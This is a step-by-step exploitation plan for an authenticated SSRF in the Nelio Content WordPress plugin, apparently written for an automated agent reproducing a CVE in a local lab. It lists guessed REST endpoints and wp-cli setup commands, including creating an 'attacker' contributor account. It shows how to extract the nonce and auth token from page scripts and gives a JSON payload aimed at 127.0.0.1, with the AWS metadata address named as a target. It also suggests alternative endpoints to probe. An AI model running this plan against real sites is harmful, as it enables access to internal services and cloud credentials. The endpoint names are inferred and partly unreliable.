Research Plan: CVE-2026-39521 Nelio Content SSRF

1. Vulnerability Summary

The Nelio Content plugin (up to version 4.3.1) contains an authenticated SSRF vulnerability. It fails to properly validate or sanitize the url parameter in its internal REST API endpoints responsible for fetching remote image metadata or URL previews. Authenticated users with Contributor access or higher can exploit this to make the WordPress server send requests to internal network resources (e.g., AWS metadata service at 169.254.169.254 or internal admin panels at 127.0.0.1).

The vulnerability resides in the backend REST controller logic (inferred namespace nelio-content/v1/utils) which is triggered by the "Social Message Editor" UI when a user attempts to add an image via URL.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/nelio-content/v1/utils/get-external-image-info (inferred from social-message-editor.js and common plugin patterns).
• Alternative Endpoint: POST /wp-json/nelio-content/v1/utils/get-url-meta (if the above is not found).
• Vulnerable Parameter: url (in the JSON body).
• Authentication: Required (Contributor level or higher).
• Headers:
  • X-WP-Nonce: Standard WordPress REST API nonce.
  • X-Nelio-Content-Auth: Custom Nelio API token (generated via nelio_content_generate_api_auth_token()).

3. Code Flow

1. Entry Point: A Contributor user accesses the Nelio Content Calendar or Social Message Editor.
2. Frontend Interaction: The user clicks the "Add image from URL" button in the social message editor, which invokes the Nelio_Content_Social_Message_Image_Url_Dialog component (defined in assets/dist/js/social-message-editor.js).
3. API Request: The JS makes a POST request to the plugin's REST API endpoint.
4. Backend Processing: The plugin receives the request. In a vulnerable version, it takes the url parameter and passes it directly to wp_remote_get() or wp_remote_request() without checking if the host is a private/internal IP address.
5. Sink: The WordPress server executes the HTTP request to the attacker-supplied URL.

4. Nonce & Token Acquisition Strategy

Nelio Content requires both a standard WordPress REST nonce and a custom Nelio Authentication Token.

Acquisition Steps:

1. Prepare Site: Ensure the plugin is "ready" by setting a dummy site ID (otherwise the calendar page is blocked by a wizard).

   wp option update nelio_content_settings '{"site_id":"12345","is_ready":true}' --format=json
   

2. Navigate: Use browser_navigate to http://localhost:8080/wp-admin/admin.php?page=nelio-content.
3. Extract Nonce:

   browser_eval("window.wpApiSettings?.nonce")
   

4. Extract Nelio Token:
   Based on admin/class-nelio-content-admin.php, the $plugin_settings array contains authenticationToken.

   browser_eval("window.nelioContentAdmin?.authenticationToken || window.nelioContentData?.authenticationToken")
   

5. Exploitation Strategy

Step 1: Authentication & Discovery

1. Authenticate as a Contributor.
2. Extract the nonce and authenticationToken using the strategy above.

Step 2: SSRF Payload

Send a POST request to hit an internal service. We will target the WordPress login page itself on 127.0.0.1 to demonstrate the ability to reach internal ports.

• Request Type: POST
• URL: /wp-json/nelio-content/v1/utils/get-external-image-info
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [extracted_nonce]
  • X-Nelio-Content-Auth: [extracted_token]
• Body:

  {
    "url": "http://127.0.0.1:8080/wp-login.php"
  }
  

Step 3: Response Analysis

A successful SSRF will return a 200 OK with JSON data containing either metadata from the internal page (e.g., title "Log In ‹ ... — WordPress") or an error from the image parser indicating the content was not a valid image but confirming the fetch occurred.

6. Test Data Setup

1. User Creation:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

2. Plugin Readiness:

   wp option update nelio_content_settings '{"site_id":"exploited","is_ready":true}' --format=json
   

3. Internal Target: Ensure the WordPress site is listening on 127.0.0.1:8080.

7. Expected Results

• Success Response: The API returns a JSON object. If it fetches an HTML page, it might return:

  {
    "success": true,
    "data": { "title": "Log In \u2039 ...", "images": [] }
  }
  

• Internal Error: If targeting a closed port (e.g., http://127.0.0.1:9999), it returns a connection refused error, confirming the request was attempted.

8. Verification Steps

1. HTTP Logs: Check the WordPress access logs (if accessible) to see a request from 127.0.0.1 to /wp-login.php triggered by the server itself.
2. REST Response: Use the http_request tool and confirm the data field in the JSON response contains strings or metadata from the url payload.

9. Alternative Approaches

If /utils/get-external-image-info is not the endpoint:

1. Search for other endpoints under wp-json/nelio-content/v1/ using the http_request tool to list routes.
2. Try the endpoint /wp-json/nelio-content/v1/social-message/fetch-external-image.
3. Try a GET request to the same endpoints if POST is disallowed: /wp-json/nelio-content/v1/utils/get-external-image-info?url=http://127.0.0.1:8080/.